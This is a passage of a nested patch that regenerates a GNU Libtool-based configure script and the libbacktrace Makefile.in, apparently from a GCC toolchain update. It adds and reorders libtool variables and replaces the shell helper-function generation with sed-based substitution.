++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -20331,14 +21169,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -20371,12 +21212,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -20415,8 +21256,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
+ compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
+ GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic_CXX='`$ECHO "$lt_prog_compiler_pic_CXX" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
+ archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -20443,12 +21284,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
+ hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path_CXX='`$ECHO "$fix_srcfile_path_CXX" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols_CXX='`$ECHO "$always_export_symbols_CXX" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds_CXX='`$ECHO "$export_symbols_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms_CXX='`$ECHO "$exclude_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ include_expsyms_CXX='`$ECHO "$include_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds_CXX='`$ECHO "$prelink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
++postlink_cmds_CXX='`$ECHO "$postlink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
+ hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
+ compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -20486,8 +21327,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -20497,12 +21343,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -20518,7 +21366,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -20540,8 +21387,8 @@ LD_CXX \
+ reload_flag_CXX \
+ compiler_CXX \
+ lt_prog_compiler_no_builtin_flag_CXX \
+-lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_pic_CXX \
++lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_static_CXX \
+ lt_cv_prog_compiler_c_o_CXX \
+ export_dynamic_flag_spec_CXX \
+@@ -20553,7 +21400,6 @@ no_undefined_flag_CXX \
+ hardcode_libdir_flag_spec_CXX \
+ hardcode_libdir_flag_spec_ld_CXX \
+ hardcode_libdir_separator_CXX \
+-fix_srcfile_path_CXX \
+ exclude_expsyms_CXX \
+ include_expsyms_CXX \
+ file_list_spec_CXX \
+@@ -20587,6 +21433,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -20601,7 +21448,8 @@ archive_expsym_cmds_CXX \
+ module_cmds_CXX \
+ module_expsym_cmds_CXX \
+ export_symbols_cmds_CXX \
+-prelink_cmds_CXX; do
++prelink_cmds_CXX \
++postlink_cmds_CXX; do
+ case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
+ *[\\\\\\\`\\"\\\$]*)
+ eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
+@@ -21374,7 +22222,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -21477,19 +22326,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -21519,6 +22391,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -21528,6 +22406,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -21642,12 +22523,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -21734,9 +22615,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -21752,6 +22630,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -21798,210 +22679,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+@@ -22029,12 +22869,12 @@ with_gcc=$GCC_CXX
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl_CXX
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic_CXX
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl_CXX
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static_CXX
+
+@@ -22121,9 +22961,6 @@ inherit_rpath=$inherit_rpath_CXX
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs_CXX
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path_CXX
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols_CXX
+
+@@ -22139,6 +22976,9 @@ include_expsyms=$lt_include_expsyms_CXX
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds_CXX
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds_CXX
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec_CXX
+
+diff --git a/libbacktrace/Makefile.in b/libbacktrace/Makefile.in
+index 0a61880ba67..500756cd023 100644
+--- a/libbacktrace/Makefile.in
++++ b/libbacktrace/Makefile.in
+@@ -1,7 +1,7 @@
+-# Makefile.in generated by automake 1.15.1 from Makefile.am.
++# Makefile.in generated by automake 1.16.5 from Makefile.am.
+ # @configure_input@
+
+-# Copyright (C) 1994-2017 Free Software Foundation, Inc.
++# Copyright (C) 1994-2021 Free Software Foundation, Inc.
+
+ # This Makefile.in is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -189,6 +189,35 @@ CONFIG_HEADER = config.h
+ CONFIG_CLEAN_FILES = backtrace-supported.h \
+ install-debuginfo-for-buildid.sh
+ CONFIG_CLEAN_VPATH_FILES =
++@NATIVE_TRUE@am__EXEEXT_1 = allocfail$(EXEEXT)
++@HAVE_ELF_TRUE@@HAVE_OBJCOPY_DEBUGLINK_TRUE@@NATIVE_TRUE@am__EXEEXT_2 = b2test$(EXEEXT)
++@HAVE_DWZ_TRUE@@HAVE_ELF_TRUE@@HAVE_OBJCOPY_DEBUGLINK_TRUE@@NATIVE_TRUE@am__EXEEXT_3 = b3test$(EXEEXT)
++@NATIVE_TRUE@am__EXEEXT_4 = test_elf_32$(EXEEXT) test_elf_64$(EXEEXT) \
++@NATIVE_TRUE@ test_macho$(EXEEXT) test_xcoff_32$(EXEEXT) \
++@NATIVE_TRUE@ test_xcoff_64$(EXEEXT) test_pecoff$(EXEEXT) \
++@NATIVE_TRUE@ test_unknown$(EXEEXT) unittest$(EXEEXT) \
